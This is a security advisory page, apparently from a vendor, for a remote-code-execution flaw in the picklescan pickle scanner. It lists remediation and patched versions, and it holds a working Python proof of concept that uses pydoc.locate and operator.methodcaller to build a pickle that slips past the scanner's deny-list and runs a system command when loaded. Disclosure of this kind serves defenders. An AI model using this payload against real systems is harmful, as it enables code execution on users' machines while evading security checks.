CVE-2025-71320 — picklescan
Fix: mmaitre314/picklescan#53CVE-2025-71320 is a remote code execution vulnerability in picklescan. A fix is available for picklescan — see the affected versions and patch details below.
picklescan - Remote Code Execution via Incomplete Disallowed Inputs
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-71320.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly
- pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module).
- operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.
Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.
PoC
use the provided script to create a malicious pickle file
import pickle
import pydoc
import operator
import os
class ModuleLocator:
def __init__(self, module_name):
self.module_name = module_name
def __reduce__(self):
return (pydoc.locate, (self.module_name,))
class RCEPayload:
def __reduce__(self):
cmd = "notepad" #put your payload here
mc = operator.methodcaller("system", cmd)
return (mc, (ModuleLocator("os"),))
def generate_exploit():
payload = RCEPayload()
try:
with open("bypass.pkl", "wb") as f:
f.write(pickle.dumps(payload))
print("File 'bypass.pkl' created.")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
generate_exploit()
The generated payload will not be flagged as dangerous by picklescan but is actually malicious.
import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))
Script to open the pickle file, demonstrating impact
<img width="746" height="341" alt="image" src="https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0" />Remediation
The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.33pip install --upgrade 'picklescan==0.0.33' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update picklescan to 0.0.33 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-71320 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-71320 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-71320. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-71320 in your dependencies?
O3 Security finds CVE-2025-71320 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.